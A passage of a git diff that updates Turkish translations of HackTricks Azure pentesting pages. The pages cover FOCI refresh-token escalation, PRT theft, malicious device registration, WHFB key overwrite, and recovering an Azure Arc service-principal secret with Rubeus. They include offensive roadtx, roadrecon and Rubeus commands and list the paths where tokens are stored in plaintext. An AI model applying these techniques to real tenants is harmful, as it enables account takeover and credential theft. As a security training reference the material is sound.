entegre edilmiştir ve genellikle karşılıklı bağımlı hizmet ilişkilerine sahiptir. -- Kullanıcı deneyimini basitleştirmek ve işlevselliği korumak için Microsoft, bu birinci taraf uygulamalarına "dolaylı onay" veya "ön onay" verir. -- **Dolaylı Onay:** Belirli uygulamalar, açık kullanıcı veya yönetici onayı olmaksızın **belirli kapsamlar için otomatik olarak erişim izni alır**. +- Kullanıcı deneyimini basitleştirmek ve işlevselliği sürdürmek için Microsoft, bu birinci taraf uygulamalarına "ima edilen onay" veya "ön onay" verir. +- **İma Edilen Onay:** Belirli uygulamalar, açık kullanıcı veya yönetici onayı olmaksızın **belirli kapsamlar için otomatik olarak erişim izni alır**. - Bu ön onaylı kapsamlar genellikle hem kullanıcılar hem de yöneticiler için gizlidir, bu da onları standart yönetim arayüzlerinde daha az görünür hale getirir. **İstemci Uygulama Türleri:** 1. **Gizli İstemciler:** -- Kendi kimlik bilgilerine (örneğin, parolalar veya sertifikalar) sahiptir. +- Kendi kimlik bilgilerine (örneğin, şifreler veya sertifikalar) sahiptir. - Yetkilendirme sunucusuna **güvenli bir şekilde kimlik doğrulaması yapabilirler**. -2. **Açık İstemciler:** +2. **Kamu İstemcileri:** - Benzersiz kimlik bilgilerine sahip değildir. - Yetkilendirme sunucusuna güvenli bir şekilde kimlik doğrulaması yapamazlar. -- **Güvenlik Etkisi:** Bir saldırgan, belirteç talep ederken bir açık istemci uygulamasını taklit edebilir, çünkü yetkilendirme sunucusunun uygulamanın meşruiyetini doğrulamak için bir mekanizması yoktur. +- **Güvenlik Etkisi:** Bir saldırgan, token talep ederken bir kamu istemci uygulamasını taklit edebilir, çünkü yetkilendirme sunucusunun uygulamanın meşruiyetini doğrulamak için bir mekanizması yoktur. -## Kimlik Doğrulama Belirteçleri +## Kimlik Doğrulama Tokenları -OIDC'de **üç tür belirteç** kullanılır: +OIDC'de kullanılan **üç tür token** vardır: -- [**Erişim Belirteçleri**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** İstemci, bu belirteci kaynak sunucusuna **kaynaklara erişmek için** sunar. Sadece belirli bir kullanıcı, istemci ve kaynak kombinasyonu için kullanılabilir ve **iptal edilemez**; bu, varsayılan olarak 1 saattir. -- **ID Belirteçleri**: İstemci, bu **belirteci yetkilendirme sunucusundan** alır. Kullanıcı hakkında temel bilgileri içerir. **Belirli bir kullanıcı ve istemci kombinasyonuna bağlıdır**. -- **Yenileme Belirteçleri**: Erişim belirteci ile birlikte istemciye verilir. **Yeni erişim ve ID belirteçleri almak için** kullanılır. Belirli bir kullanıcı ve istemci kombinasyonuna bağlıdır ve iptal edilebilir. Varsayılan süre dolma süresi, **90 gündür** inaktif yenileme belirteçleri için ve **aktif belirteçler için süre dolması yoktur** (bir yenileme belirteci ile yeni yenileme belirteçleri almak mümkündür). -- Bir yenileme belirteci, bir **`aud`** ile, bazı **kapsamlarla** ve bir **kiracıyla** ilişkilendirilmelidir ve yalnızca o aud, kapsamlar (ve daha fazlası değil) ve kiracı için erişim belirteçleri üretebilmelidir. Ancak, bu **FOCI uygulama belirteçleri** için geçerli değildir. -- Bir yenileme belirteci şifrelenmiştir ve yalnızca Microsoft bunu çözebilir. -- Yeni bir yenileme belirteci almak, önceki yenileme belirtecini iptal etmez. +- [**Erişim Tokenları**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** İstemci, bu tokenı kaynak sunucusuna **kaynaklara erişim** için sunar. Sadece belirli bir kullanıcı, istemci ve kaynak kombinasyonu için kullanılabilir ve **iptal edilemez**; süresi dolana kadar - bu varsayılan olarak 1 saattir. +- **ID Tokenları**: İstemci, bu **tokenı yetkilendirme sunucusundan** alır. Kullanıcı hakkında temel bilgileri içerir. **Belirli bir kullanıcı ve istemci kombinasyonuna bağlıdır**. +- **Yenileme Tokenları**: Erişim tokenı ile birlikte istemciye verilir. **Yeni erişim ve ID tokenları almak için** kullanılır. Belirli bir kullanıcı ve istemci kombinasyonuna bağlıdır ve iptal edilebilir. Varsayılan süre dolma süresi, **aktif olmayan yenileme tokenları için 90 gündür** ve **aktif tokenlar için süre dolma yoktur** (bir yenileme tokenından yeni yenileme tokenları almak mümkündür). +- Bir yenileme tokenı, bir **`aud`** ile, bazı **kapsamlarla** ve bir **kiracıyla** ilişkilendirilmelidir ve yalnızca o aud, kapsamlar (ve daha fazlası olmamak kaydıyla) ve kiracı için erişim tokenları üretebilmelidir. Ancak, bu **FOCI uygulama tokenları** için geçerli değildir. +- Bir yenileme tokenı şifrelenmiştir ve yalnızca Microsoft bunu çözebilir. +- Yeni bir yenileme tokenı almak, önceki yenileme tokenını iptal etmez. > [!WARNING] -> **Koşullu erişim** bilgileri **JWT** içinde **saklanır**. Yani, **izin verilen bir IP adresinden belirteç talep ederseniz**, o **IP** belirteçte **saklanır** ve ardından o belirteci **izin verilmeyen bir IP'den kaynaklara erişmek için** kullanabilirsiniz. +> **Koşullu erişim** bilgileri **JWT** içinde **saklanır**. Yani, **izin verilen bir IP adresinden token talep ederseniz**, o **IP** token içinde **saklanır** ve ardından o tokenı **izin verilmeyen bir IP'den kaynaklara erişmek için kullanabilirsiniz**. -### Erişim Belirteçleri "aud" +### Erişim Tokenları "aud" "aud" alanında belirtilen alan, giriş işlemini gerçekleştirmek için kullanılan **kaynak sunucusudur** (uygulama). -`az account get-access-token --resource-type [...]` komutu, aşağıdaki türleri destekler ve her biri sonuçta oluşan erişim belirtecinde belirli bir "aud" ekleyecektir: +`az account get-access-token --resource-type [...]` komutu, aşağıdaki türleri destekler ve her biri sonuçta oluşan erişim tokenında belirli bir "aud" ekleyecektir: > [!CAUTION] > Aşağıdakilerin yalnızca `az account get-access-token` tarafından desteklenen API'ler olduğunu unutmayın, ancak daha fazlası vardır. @@ -74,13 +74,13 @@ OIDC'de **üç tür belirteç** kullanılır: - **batch (Azure Batch Services)**: Bulutta büyük ölçekli paralel ve yüksek performanslı hesaplama uygulamalarını verimli bir şekilde etkinleştiren Azure Batch'e erişmek için kullanılır. - `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Ölçeklenebilir veri depolama ve analiz hizmeti olan Azure Data Lake Storage Gen1 ile etkileşimde bulunmak için kullanılır. +* **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1 ile etkileşimde bulunmak için kullanılır; bu, ölçeklenebilir bir veri depolama ve analiz hizmetidir. - `https://datalake.azure.net/` - **media (Azure Media Services)**: Video ve ses içeriği için bulut tabanlı medya işleme ve dağıtım hizmetleri sağlayan Azure Media Services'e erişmek için kullanılır. - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Microsoft 365 hizmet verileri için birleşik bir uç nokta olan Microsoft Graph API'ye erişmek için kullanılır. Azure AD, Office 365, Kurumsal Mobilite ve Güvenlik hizmetleri gibi hizmetlerden veri ve içgörülere erişmenizi sağlar. +* **ms-graph (Microsoft Graph API)**: Microsoft 365 hizmetleri verilerine erişmek için kullanılan Microsoft Graph API'ye erişmek için kullanılır. Azure AD, Office 365, Kurumsal Mobilite ve Güvenlik hizmetleri gibi hizmetlerden veri ve içgörülere erişmenizi sağlar. - `https://graph.microsoft.com` - **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL ve MariaDB gibi açık kaynaklı ilişkisel veritabanı motorları için Azure Veritabanı hizmetlerine erişmek için kullanılır. @@ -88,13 +88,13 @@ OIDC'de **üç tür belirteç** kullanılır:
-### Erişim Belirteçleri Kapsamları "scp" +### Erişim Tokenları Kapsamları "scp" -Bir erişim belirtecinin kapsamı, erişim belirteci JWT'si içindeki scp anahtarında saklanır. Bu kapsamlar, erişim belirtecinin erişim sağladığı alanları tanımlar. +Bir erişim tokenının kapsamı, erişim tokenı JWT'si içindeki scp anahtarında saklanır. Bu kapsamlar, erişim tokenının erişim sağladığı alanları tanımlar. -Eğer bir JWT belirli bir API ile iletişim kurmasına izin verilmişse ancak **istenen eylemi gerçekleştirmek için kapsamı yoksa**, o JWT ile o eylemi **gerçekleştiremeyecektir**. +Eğer bir JWT belirli bir API ile iletişim kurmasına izin verilmişse ancak **istenen eylemi gerçekleştirmek için kapsamı yoksa**, o JWT ile **eylemi gerçekleştiremeyecektir**. -### Yenileme ve erişim belirteci alma örneği +### Yenileme ve erişim tokenı alma örneği ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -147,11 +146,11 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` ## FOCI Tokenları Yetki Yükseltme -Daha önce, yenileme tokenlarının oluşturulduğu **kapsamlar**, **uygulama** ve **kiracı** ile ilişkilendirilmesi gerektiği belirtilmişti. Bu sınırlardan herhangi biri ihlal edilirse, kullanıcının erişim iznine sahip olduğu diğer kaynaklar ve kiracılar için erişim tokenları oluşturmak mümkün olacağından yetki yükseltmek mümkündür ve bu, başlangıçta amaçlandığından daha fazla kapsam ile yapılabilir. +Daha önce, yenileme tokenlarının oluşturulduğu **kapsamlar**, **uygulama** ve **kiracı** ile ilişkilendirilmesi gerektiği belirtilmişti. Bu sınırlardan herhangi biri ihlal edilirse, kullanıcının erişim sağladığı diğer kaynaklar ve kiracılar için erişim tokenları oluşturmak mümkün olacağından yetki yükseltmek mümkündür ve bu, başlangıçta amaçlandığından daha fazla kapsam ile yapılabilir. Ayrıca, **bu, [Microsoft kimlik platformu](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra hesapları, Microsoft kişisel hesapları ve Facebook ve Google gibi sosyal hesaplar) ile tüm yenileme tokenları için mümkündür** çünkü [**belgelerde**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) belirtildiği gibi: "Yenileme tokenları, kullanıcı ve istemci kombinasyonuna bağlıdır, ancak **bir kaynak veya kiracıya bağlı değildir**. Bir istemci, izin verildiği herhangi bir kaynak ve kiracı kombinasyonu üzerinden erişim tokenları almak için bir yenileme tokenı kullanabilir. Yenileme tokenları şifrelenmiştir ve yalnızca Microsoft kimlik platformu bunları okuyabilir." -Ayrıca, FOCI uygulamalarının kamuya açık uygulamalar olduğunu ve bu nedenle **sunucuya kimlik doğrulamak için bir sır gerekmediğini** unutmayın. +Ayrıca, FOCI uygulamalarının kamuya açık uygulamalar olduğunu ve bu nedenle sunucuya kimlik doğrulamak için **hiçbir sır gerekmediğini** unutmayın. Daha sonra, [**orijinal araştırmada**](https://github.com/secureworks/family-of-client-ids-research/tree/main) bildirilen bilinen FOCI istemcileri [**burada**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) bulunabilir. diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 04b767e47..0801a475f 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -6,15 +6,15 @@ Bir cihaz AzureAD'ye katıldığında, AzureAD'de yeni bir nesne oluşturulur. -Bir cihaz kaydedilirken, **kullanıcıdan hesabıyla giriş yapması istenir** (gerekirse MFA istenir), ardından cihaz kaydı hizmeti için token'lar talep edilir ve son bir onay istemi gösterilir. +Bir cihaz kaydedilirken, **kullanıcıdan hesabıyla giriş yapması istenir** (gerekirse MFA talep edilir), ardından cihaz kaydı hizmeti için token'lar talep edilir ve son bir onay istemi sorulur. -Ardından, cihazda iki RSA anahtar çifti oluşturulur: **cihaz anahtarı** (**açık** anahtar) **AzureAD**'ye gönderilir ve **taşıma** anahtarı (**özel** anahtar) mümkünse TPM'de saklanır. +Sonra, cihazda iki RSA anahtar çifti oluşturulur: **cihaz anahtarı** (**açık** anahtar) **AzureAD**'ye gönderilir ve **taşıma** anahtarı (**özel** anahtar) mümkünse TPM'de saklanır. -Sonra, **nesne** **AzureAD**'de (Intune'da değil) oluşturulur ve AzureAD, cihaza imzalı bir **sertifika** geri verir. **Cihazın AzureAD'ye katıldığını** ve **sertifika** hakkında (örneğin, TPM ile korunup korunmadığı) bilgi kontrol edebilirsiniz. +Ardından, **nesne** **AzureAD**'de (Intune'da değil) oluşturulur ve AzureAD, cihaza imzalı bir **sertifika** geri verir. **Cihazın AzureAD'ye katıldığını** ve **sertifika** hakkında (örneğin, TPM ile korunup korunmadığını) kontrol edebilirsiniz. ```bash dsregcmd /status ``` -Cihaz kaydından sonra **Primary Refresh Token** LSASS CloudAP modülü tarafından talep edilir ve cihaza verilir. PRT ile birlikte **sadece cihazın şifreyi çözebileceği şekilde şifrelenmiş oturum anahtarı** da teslim edilir (taşıma anahtarının açık anahtarını kullanarak) ve **PRT'yi kullanmak için gereklidir.** +Cihaz kaydından sonra **Primary Refresh Token** LSASS CloudAP modülü tarafından talep edilir ve cihaza verilir. PRT ile birlikte **sadece cihazın şifreleyebileceği şekilde şifrelenmiş oturum anahtarı** da teslim edilir (taşıma anahtarının genel anahtarını kullanarak) ve **PRT'yi kullanmak için gereklidir.** PRT'nin ne olduğu hakkında daha fazla bilgi için kontrol edin: @@ -25,7 +25,7 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Güvenilir Platform Modülü **TPM**, kapalı bir cihazdan (PIN ile korunuyorsa) anahtar **çıkarma** ve OS katmanından özel materyali çıkarmaya karşı **korur**.\ -Ancak, **TPM ile CPU arasındaki fiziksel bağlantıyı dinlemek** veya sistem çalışırken **SYSTEM** haklarına sahip bir süreçten TPM'deki **kriptografik materyali** kullanmaya karşı **korumaz.** +Ancak, **TPM** ile CPU arasındaki fiziksel bağlantıyı **dinlemekten** veya sistem çalışırken **SYSTEM** haklarına sahip bir süreçten TPM'deki kriptografik materyali **kullanmaktan** **korumaz.** Aşağıdaki sayfayı kontrol ederseniz, **PRT'yi çalmanın** **kullanıcı** gibi erişim sağlamak için kullanılabileceğini göreceksiniz, bu harika çünkü **PRT cihazlarda** bulunur, bu nedenle onlardan çalınabilir (veya çalınmazsa yeni imza anahtarları oluşturmak için kötüye kullanılabilir): @@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` -Hangi, size **gelecekte PRT'ler talep etmek için kullanabileceğiniz bir sertifika verecektir**. Bu nedenle kalıcılığı sağlamakta ve **MFA'yı atlamakta** çünkü yeni cihazı kaydetmek için kullanılan orijinal PRT token'ı **zaten MFA izinleri verilmişti**. +Hangi, gelecekte PRT'ler talep etmek için kullanabileceğiniz bir **sertifika** verecektir. Bu nedenle kalıcılığı sağlamakta ve **MFA'yı atlamakta** çünkü yeni cihazı kaydetmek için kullanılan orijinal PRT token'ı **zaten MFA izinleri verilmişti**. > [!TIP] > Bu saldırıyı gerçekleştirmek için **yeni cihazlar kaydetme** izinlerine ihtiyacınız olacağını unutmayın. Ayrıca, bir cihaz kaydetmek, cihazın **Intune'a kaydolmasına izin verileceği** anlamına gelmez. @@ -57,7 +57,7 @@ Hangi, size **gelecekte PRT'ler talep etmek için kullanabileceğiniz bir sertif ## Bir cihaz biletini geçersiz kılma -**Bir cihaz bileti talep etmek**, cihazın mevcut olanını **geçersiz kılmak** ve akış sırasında **PRT'yi çalmak** mümkündü (bu nedenle TPM'den çalmaya gerek yoktur. Daha fazla bilgi için [**bu konuşmaya bakın**](https://youtu.be/BduCn8cLV1A). +**Bir cihaz bileti talep etmek**, cihazın mevcut biletini **geçersiz kılmak** ve akış sırasında **PRT'yi çalmak** mümkündü (bu nedenle TPM'den çalmaya gerek yoktu. Daha fazla bilgi için [**bu konuşmaya bakın**](https://youtu.be/BduCn8cLV1A).
@@ -66,13 +66,13 @@ Hangi, size **gelecekte PRT'ler talep etmek için kullanabileceğiniz bir sertif ## WHFB anahtarını geçersiz kılma -[**Orijinal slaytlara buradan bakın**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) +[**Orijinal slaytları buradan kontrol edin**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) Saldırı özeti: -- **SSO** aracılığıyla bir **cihazdan kaydedilmiş WHFB** anahtarını **geçersiz kılmak** mümkündür -- Anahtar, yeni anahtarın **üretimi sırasında** **sniffed** olduğu için TPM korumasını **aşar** -- Bu ayrıca **kalıcılık** sağlar +- **SSO** aracılığıyla bir **cihazdan** **kayıtlı WHFB** anahtarını **geçersiz kılmak** mümkündür +- Bu, anahtarın **yeni anahtarın oluşturulması sırasında** **sniff edilmesiyle** TPM korumasını **aşar** +- Bu aynı zamanda **kalıcılık** sağlar
@@ -82,11 +82,11 @@ Sonra, yeni bir anahtar oluşturmak mümkündür: ```bash roadtx genhellokey -d -k tempkey.key ``` -ve ardından searchableDeviceKey'in bilgilerini PATCH edin: +ve ardından searchableDeviceKey'in bilgilerini PATCH yapın:
-**Cihaz kodu phishing** aracılığıyla bir kullanıcıdan erişim token'ı almak ve önceki adımları kötüye kullanarak **erişimini çalmak** mümkündür. Daha fazla bilgi için kontrol edin: +**Cihaz kodu phishing** kullanarak bir kullanıcıdan erişim token'ı almak ve önceki adımları **kullanarak erişimini çalmak** mümkündür. Daha fazla bilgi için kontrol edin: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index fdda49b6f..1dc06c02e 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -28,9 +28,9 @@ ## MacOS'ta PowerShell Kurulumu -[**belgelerden**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) gelen talimatlar: +[**belgeler**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) üzerinden talimatlar: -1. Henüz kurulmadıysa `brew`'ü kurun: +1. Eğer henüz kurulu değilse `brew`'ü kurun: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` @@ -51,9 +51,9 @@ brew upgrade powershell ### az cli -[**Azure Komut Satırı Arayüzü (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) Python ile yazılmış, (çoğu) Azure ve Entra ID kaynaklarını yönetmek ve idare etmek için kullanılan çok platformlu bir araçtır. Azure'a bağlanır ve komut satırı veya betikler aracılığıyla idari komutlar yürütür. +[**Azure Komut Satırı Arayüzü (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli), Azure ve Entra ID kaynaklarını yönetmek ve idare etmek için Python ile yazılmış çok platformlu bir araçtır. Azure'a bağlanır ve komut satırı veya betikler aracılığıyla idari komutlar yürütür. -[**Kurulum talimatları için bu bağlantıyı takip edin!**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). +[**kurulum talimatları için bu bağlantıyı**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) takip edin. Azure CLI'deki komutlar şu yapıda düzenlenmiştir: `az ` @@ -63,7 +63,7 @@ Azure CLI'deki komutlar şu yapıda düzenlenmiştir: `az -Mg ` -#### Microsoft Graph PowerShell Hatasını Ayıklama +#### Microsoft Graph PowerShell'ı Hata Ayıklama -**`-Debug`** parametresini kullanarak aracın gönderdiği tüm istekleri görmek mümkündür: +**`-Debug`** parametresini kullanarak, aracın gönderdiği tüm istekleri görmek mümkündür: ```bash Get-MgUser -Debug ``` @@ -128,4 +128,4 @@ Azure Active Directory (AD) modülü, artık **kaldırılmıştır**, Azure AD k > [!TIP] > Bu, Microsoft Graph PowerShell ile değiştirilmiştir. -[**kurulum talimatları**](https://www.powershellgallery.com/packages/AzureAD) için bu bağlantıyı takip edin. +Bu bağlantıyı takip ederek [**kurulum talimatlarına**](https://www.powershellgallery.com/packages/AzureAD) ulaşabilirsiniz. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 7488dd34b..4b0aa0b81 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -45,14 +45,14 @@ az-primary-refresh-token-prt.md - [**Cookie'yi Geç**](az-pass-the-cookie.md): Tarayıcıdan Azure çerezlerini çal ve giriş yapmak için kullan - [**Süreçlerin erişim tokenlerini dök**](az-processes-memory-access-token.md): Bulut ile senkronize edilmiş yerel süreçlerin belleğini dök (örneğin excel, Teams...) ve açık metin olarak erişim tokenlerini bul. -- [**Birincil Yenileme Tokenini Phishing**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT'yi phishing yaparak kötüye kullan +- [**Birincil Yenileme Tokenini Phish'le**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT'yi ele geçirerek kötüye kullan - [**PRT'yi Geç**](pass-the-prt.md): Azure'a erişmek için cihaz PRT'sini çal. - [**Sertifikayı Geç**](az-pass-the-certificate.md)**:** Bir makineden diğerine giriş yapmak için PRT'ye dayalı bir sertifika oluştur **AD'yi tehlikeye atmaktan bulutu tehlikeye atmaktan ve bulutu tehlikeye atmaktan AD'yi tehlikeye atmaktan**: - [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **Buluttan On-Prem'e geçmenin bir diğer yolu** [**Intune'u kötüye kullanmaktır**](../az-services/intune.md) +- **Buluttan On-Prem'e geçmenin başka bir yolu** [**Intune'u kötüye kullanmaktır**](../az-services/intune.md) #### [Roadtx](https://github.com/dirkjanm/ROADtools) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index fdaf15588..ea12b7b72 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,16 +4,16 @@ ### Sorunların Belirlenmesi -Azure Arc, yeni iç sunucuların (katılmış alan sunucuları) Azure Arc ile Entegrasyonunu Grup Politika Nesnesi yöntemi kullanarak sağlar. Bunu kolaylaştırmak için Microsoft, onboarding prosedürünü başlatmak için gerekli bir dağıtım araç seti sunar. ArcEnableServerGroupPolicy.zip dosyası içinde şu betikler bulunur: DeployGPO.ps1, EnableAzureArc.ps1 ve AzureArcDeployment.psm1. +Azure Arc, yeni iç sunucuların (katılmış alan sunucuları) Azure Arc'a Grup Politika Nesnesi yöntemiyle entegrasyonuna olanak tanır. Bunu kolaylaştırmak için Microsoft, onboarding prosedürünü başlatmak için gerekli bir dağıtım araç seti sağlar. ArcEnableServerGroupPolicy.zip dosyası içinde şu betikler bulunur: DeployGPO.ps1, EnableAzureArc.ps1 ve AzureArcDeployment.psm1. -DeployGPO.ps1 betiği çalıştırıldığında, aşağıdaki işlemleri gerçekleştirir: +DeployGPO.ps1 betiği çalıştırıldığında aşağıdaki işlemleri gerçekleştirir: 1. Yerel alanda Azure Arc Sunucuları Onboarding GPO'sunu oluşturur. 2. EnableAzureArc.ps1 onboarding betiğini, onboarding süreci için oluşturulan belirlenen ağ paylaşımına kopyalar; bu paylaşım ayrıca Windows yükleyici paketini de içerir. Bu betiği çalıştırırken, sistem yöneticileri iki ana parametre sağlamalıdır: **ServicePrincipalId** ve **ServicePrincipalClientSecret**. Ayrıca, alan, paylaşımı barındıran sunucunun FQDN'si ve paylaşım adı gibi diğer parametreler de gereklidir. Kiracı kimliği, kaynak grubu ve diğer gerekli bilgiler gibi daha fazla ayrıntı da betiğe sağlanmalıdır. -Belirtilen paylaşımda AzureArcDeploy dizininde DPAPI-NG şifrelemesi kullanılarak şifrelenmiş bir gizli anahtar oluşturulur. Şifrelenmiş gizli anahtar, encryptedServicePrincipalSecret adlı bir dosyada saklanır. Bunun kanıtı, DeployGPO.ps1 betiğinde, şifrelemenin $descriptor ve $ServicePrincipalSecret girdileri ile ProtectBase64 çağrılarak gerçekleştirildiği yerde bulunabilir. Tanımlayıcı, Alan Bilgisayarı ve Alan Denetleyici grup SIDs'lerini içerir ve bu, ServicePrincipalSecret'ın yalnızca Alan Denetleyicileri ve Alan Bilgisayarları güvenlik grupları tarafından şifresinin çözülebileceğini garanti eder; bu, betik yorumlarında belirtilmiştir. +Belirtilen paylaşımda AzureArcDeploy dizininde DPAPI-NG şifrelemesi kullanılarak şifrelenmiş bir gizli anahtar oluşturulur. Şifrelenmiş gizli anahtar, encryptedServicePrincipalSecret adlı bir dosyada saklanır. Bunun kanıtı, DeployGPO.ps1 betiğinde, şifrelemenin $descriptor ve $ServicePrincipalSecret girdileri ile ProtectBase64 çağrılarak gerçekleştirildiği yerde bulunabilir. Tanımlayıcı, Alan Bilgisayarı ve Alan Denetleyicisi grup SIDs'lerini içerir ve böylece ServicePrincipalSecret'in yalnızca Alan Denetleyicileri ve Alan Bilgisayarları güvenlik grupları tarafından deşifre edilebileceği belirtilmiştir. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` -Bellek içinde bilgisayar hesabımız için TGT'ye sahip olarak, hizmet prensip gizli anahtarını şifre çözmek için aşağıdaki betiği kullanabiliriz. +Bilgisayar hesabımız için TGT'yi bellekte saklayarak, hizmet prensip gizlisini şifre çözmek için aşağıdaki betiği kullanabiliriz. ```powershell Import-Module .\AzureArcDeployment.psm1 @@ -54,9 +54,9 @@ $ebs ``` Alternatif olarak, [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) kullanabiliriz. -Bu noktada, şifrelenmişServicePrincipalSecret dosyasıyla aynı ağ paylaşımında saklanan ArcInfo.json dosyasından Azure'a bağlanmak için gereken kalan bilgileri toplayabiliriz. Bu dosya, TenantId, servicePrincipalClientId, ResourceGroup ve daha fazlası gibi ayrıntıları içerir. Bu bilgilerle, Azure CLI kullanarak ele geçirilmiş hizmet ilkesi olarak kimlik doğrulaması yapabiliriz. +Bu noktada, şifrelenmişServicePrincipalSecret dosyasıyla aynı ağ paylaşımında saklanan ArcInfo.json dosyasından Azure'a bağlanmak için gereken kalan bilgileri toplayabiliriz. Bu dosya, TenantId, servicePrincipalClientId, ResourceGroup ve daha fazlası gibi ayrıntıları içerir. Bu bilgilerle, Azure CLI'yi kullanarak ele geçirilmiş hizmet ilkesi olarak kimlik doğrulaması yapabiliriz. -## Referanslar +## References - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 43c947df9..5f51714e2 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -1,25 +1,25 @@ -# Az - Local Cloud Credentials +# Az - Yerel Bulut Kimlik Bilgileri {{#include ../../../banners/hacktricks-training.md}} -## Yerel Token Depolama ve Güvenlik Hususları +## Yerel Token Depolama ve Güvenlik Değerlendirmeleri ### Azure CLI (Komut Satırı Arayüzü) -Tokenlar ve hassas veriler Azure CLI tarafından yerel olarak depolanır, bu da güvenlik endişeleri doğurur: +Tokenlar ve hassas veriler Azure CLI tarafından yerel olarak depolanır, bu da güvenlik endişelerini artırır: 1. **Erişim Tokenları**: `C:\Users\\.Azure` konumundaki `accessTokens.json` içinde düz metin olarak saklanır. 2. **Abonelik Bilgileri**: Aynı dizinde bulunan `azureProfile.json`, abonelik detaylarını içerir. -3. **Log Dosyaları**: `.azure` içindeki `ErrorRecords` klasörü, aşağıdakiler gibi ifşa edilmiş kimlik bilgileri içeren loglar barındırabilir: +3. **Log Dosyaları**: `.azure` içindeki `ErrorRecords` klasörü, maruz kalmış kimlik bilgileri içeren loglar barındırabilir, örneğin: - Kimlik bilgileri gömülü olarak yürütülen komutlar. - Tokenlar kullanılarak erişilen URL'ler, hassas bilgileri açığa çıkarabilir. ### Azure PowerShell -Azure PowerShell da tokenlar ve hassas veriler depolar, bunlara yerel olarak erişilebilir: +Azure PowerShell de tokenlar ve hassas verileri yerel olarak depolar: 1. **Erişim Tokenları**: `C:\Users\\.Azure` konumundaki `TokenCache.dat`, erişim tokenlarını düz metin olarak saklar. -2. **Servis Prensip Gizli Anahtarları**: Bunlar `AzureRmContext.json` içinde şifrelenmemiş olarak saklanır. +2. **Hizmet Prensibi Gizli Anahtarları**: Bunlar `AzureRmContext.json` içinde şifrelenmemiş olarak saklanır. 3. **Token Kaydetme Özelliği**: Kullanıcılar, yetkisiz erişimi önlemek için dikkatli bir şekilde kullanılmalıdır. ## Onları Bulmak için Otomatik Araçlar diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index d1c6c9415..f64804a41 100644 --- 